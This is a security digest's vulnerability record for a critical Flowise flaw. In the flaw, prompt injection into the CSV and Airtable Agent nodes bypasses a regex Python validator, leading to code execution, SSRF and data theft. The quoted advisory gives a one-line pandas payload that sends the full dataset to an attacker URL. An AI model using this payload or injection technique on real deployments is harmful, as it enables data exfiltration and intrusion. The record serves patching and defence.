Security Digest · Vulnerability record
CVE-2026-73487: Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
Flowise before 3.1.3 contains a regex-based Python code validator bypass in CSV and Airtable Agent nodes that allows unauthenticated attackers to inject malicious code via prompt injection.
CVSS 9.0 Critical EPSS 1.0% · p61
Should you act?
Critical and remotely reachable
No known exploitation yet, but it is network-reachable without credentials. This signal is computed from CISA KEV, EPSS and CVSS data; it is not an editorial verdict.
- Not in CISA KEV, but CISA’s SSVC assessment records a public proof-of-concept, so attack code exists.
- EPSS 1.0%, percentile 61: FIRST’s model estimates a 1.0% chance of exploitation activity in the next 30 days, higher than 61% of all scored CVEs (moderate). EPSS is a probability, not a verdict.
- Remotely reachable with no login and no user interaction. If the vulnerable service is exposed to the internet, prioritize it.
- Only applies if your dependency tree includes
flowise(npm) <= 3.1.2, fixed in 3.1.3;flowise-components(npm) <= 3.1.2, fixed in 3.1.3. Check your lockfile, including transitive dependencies.
What it is
Flowise before 3.1.3 contains a regex-based Python code validator bypass in CSV and Airtable Agent nodes that allows unauthenticated attackers to inject malicious code via prompt injection. Attackers can exploit unblocked pandas functions like pd.readjson() to exfiltrate datasets, perform SSRF against internal services, or achieve code execution through the unauthenticated prediction API.
From the GitHub advisory
Summary
Flowise
The most impactful bypass is trivial: pd.readjson("http://attacker.com/?d=" + df.tojson()) passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required.
Severity
Critical (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Weakness type: CWE-94.
Product: flowise (npm) · Assigned by: VulnCheck · Published: 2026-08-13
Affected and fixed versions
| Ecosystem | Package | Vulnerable | First fixed |
|---|---|---|---|
| npm | flowise | <= 3.1.2 | 3.1.3 |
| npm | flowise-components | <= 3.1.2 | 3.1.3 |
| Vendor | Product | Affected versions (per CVE record) |
|---|---|---|
| FlowiseAI | Flowise | < 3.1.3 |
| FlowiseAI | Flowise | < 3.1.3 |
Severity scores
| Scored by | CVSS | Score | Vector |
|---|---|---|---|
| VulnCheck | 4.0 | 9 Critical | CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N |
| GitHub | 4.0 | 9.0 | CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N |
- Attack vector: network (remotely reachable)
- Attack complexity: high (needs special conditions)
- Attack requirements: none
- Privileges required: none (no login)
- User interaction: none
CVSS measures how bad a flaw is if exploited, not how likely exploitation is. Read it next to the exploitation data below.
Exploitation and urgency
- CISA KEV: not listed (no confirmed in-the-wild exploitation known to CISA).
- CISA SSVC assessment: exploitation poc, automatable yes, technical impact total.
- FIRST EPSS (model of 2026-10-21): 0.96% probability of exploitation activity in the next 30 days; percentile 61.
Timeline
- — CVE record published by VulnCheck
- — CVE record last updated
- — GitHub-reviewed advisory GHSA-w7x8-q2gp-5cgg published (critical)
Sources and references
Original sources first. Version and fix details should always be confirmed against the vendor or project advisory.
Vendor and project advisories, patches
Vulnerability records
- GitHub Advisory GHSA-w7x8-q2gp-5cgg github.com
- CVE.org record CVE-2026-73487 cve.org
- NVD entry CVE-2026-73487 nvd.nist.gov